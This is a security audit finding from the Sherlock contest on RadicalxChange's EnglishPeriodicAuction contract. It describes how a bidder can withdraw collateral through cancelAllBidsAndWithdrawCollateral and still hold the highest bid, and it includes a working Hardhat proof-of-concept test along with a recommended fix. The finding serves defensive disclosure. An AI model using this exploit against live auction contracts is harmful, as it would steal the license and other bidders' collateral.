theOwl - Malicious bidder can steal the license by canceling his bid before end of the auction using cancelAllBidsAndWithdrawCollateral

[sherlock-admin3]

theOwl

high

Malicious bidder can steal the license by canceling his bid before end of the auction using cancelAllBidsAndWithdrawCollateral

Summary

Vulnerability Detail

A bidder can place a very high bid, and before the auction is finished, he will call the function cancelAllBidsAndWithdrawCollateral to withdraw all the collaterals from all the bids he has placed ( including the current one because the index in the for loop is going all to way to the current round ) that is possible because the function is not checking if you're the highest bid in the current round as _cancelBid is doing, doing so the malicious bidder will be the highest bid but his collateral will be 0, allowing him to receive the Stewardship License without risking any funds ( if there is enough eth in contracts from the other bidders collateral to pay for the fees, if not the auction will never be able to be closed ).

Impact

Two different things can be achieved from this exploit:

1. Getting the license without paying any funds by using the funds deposited by other bidder as collateral OR
2. DOS the auction if there are not enough eth to pay for the fee (honorarium ) when calling the closeAuction function

PoC

In the test from below, we explored the following scenario:

1. Malicious bidder add a higher bid, but small enough that the rest of the collateral (collateral of the other bidders ) will pay for his fee.
2. Malicious bidder withdraw his collateral using the function 'cancelAllBidsAndWithdrawCollateral' right before the auction close.
3. The other bidders have not withdraw their collateral yet so the contract have enough eth in his balance to pay the fee (honorarium) in the 'closeAuction' flow
4. The license have been transferred to the malicious bidder
5. When other bidders are trying to withdraw their collateral from the previous round(s) they can not do it as there is not enough eth in the contract to pay them.

Add the following test in EnglishPeriodAuction.ts and run it using the command npx hardhat test test/auction/EnglishPeriodicAuction.ts --no-compile

 it.only('place bid, and call cancelAllBidsAndWithdrawCollateral to withdraw collateral but remain the highest bid', async function () {
      // Auction start: Now - 200
      // Auction end: Now + 100
      const instance = await getInstance({
        auctionLengthSeconds: 300,
        initialPeriodStartTime: (await time.latest()) - 200,
        licensePeriod: 1000,
      });

      const licenseMock = await ethers.getContractAt(
        'NativeStewardLicenseMock',
        instance.address,
      );

      const bidAmount = ethers.utils.parseEther('1.2');
      const feeAmount = await instance.calculateFeeFromBid(bidAmount);
      const collateralAmount = feeAmount;

      const bidAmount1 = ethers.utils.parseEther('1.1');
      const feeAmount1 = await instance.calculateFeeFromBid(bidAmount1);
      const collateralAmount1 = feeAmount1.add(bidAmount1);

      await instance
        .connect(bidder1)
        .placeBid(0, bidAmount1, { value: collateralAmount1 });

      await instance
        .connect(owner)
        .placeBid(0, bidAmount, { value: collateralAmount });

      const bidBeforeWithdrawAllCall = await instance['bidOf(uint256,address)'](0, owner.address);
      const highestBidBeforeWithdrawAllCall = await instance['highestBid(uint256)'](0);

      await instance.connect(owner).cancelAllBidsAndWithdrawCollateral(0);

      const bidAfterWithdrawAllCall = await instance['bidOf(uint256,address)'](0, owner.address);
      const highestBidAfterWithdrawAllCall = await instance['highestBid(uint256)'](0);

      expect(bidBeforeWithdrawAllCall.bidder).to.be.equal(owner.address);
      expect(bidBeforeWithdrawAllCall.bidAmount).to.be.equal(bidAmount);
      expect(bidBeforeWithdrawAllCall.feeAmount).to.be.equal(feeAmount);
      expect(bidBeforeWithdrawAllCall.collateralAmount).to.be.equal(collateralAmount);

      expect(bidAfterWithdrawAllCall.bidder).to.be.equal(owner.address);
      expect(bidAfterWithdrawAllCall.bidAmount).to.be.equal(0);
      expect(bidAfterWithdrawAllCall.feeAmount).to.be.equal(feeAmount);
      expect(bidAfterWithdrawAllCall.collateralAmount).to.be.equal(0);

      expect(highestBidBeforeWithdrawAllCall.bidder).to.be.equal(owner.address);
      expect(highestBidBeforeWithdrawAllCall.bidAmount).to.be.equal(bidAmount);
      expect(highestBidBeforeWithdrawAllCall.feeAmount).to.be.equal(feeAmount);
      expect(highestBidBeforeWithdrawAllCall.collateralAmount).to.be.equal(collateralAmount);

      //check highest bid before and after to see there are no differences
      expect(highestBidAfterWithdrawAllCall.bidder).to.be.equal(bidBeforeWithdrawAllCall.bidder);
      expect(highestBidAfterWithdrawAllCall.bidAmount).to.be.equal(bidBeforeWithdrawAllCall.bidAmount);
      expect(highestBidAfterWithdrawAllCall.feeAmount).to.be.equal(bidBeforeWithdrawAllCall.feeAmount);
      expect(highestBidAfterWithdrawAllCall.collateralAmount).to.be.equal(bidBeforeWithdrawAllCall.collateralAmount);

      //call close auction
      await time.increase(100);
      await instance.closeAuction(0);

      // license transfered to the malitious address
      expect(await licenseMock.ownerOf(0)).to.be.equal(owner.address);

      // bidder1 can't withdraw his collateral as there is not enough eth in the contract to transfer to him as it was used to pay the fee (honorarium)
      await expect(instance.connect(bidder1).cancelAllBidsAndWithdrawCollateral(0)).to.be.revertedWith("EnglishPeriodicAuction: Failed to withdraw collateral");

    });

Code Snippet

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/459dfbfa73f74ed3422e894f6ff5fe2bbed146dd/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol#L416-L434

Tool used

Manual Review

Recommendation

Add a check in function _cancelAllBids to check that the bid is not the highestBid in the current round as _cancelBid is doing

Duplicate of #14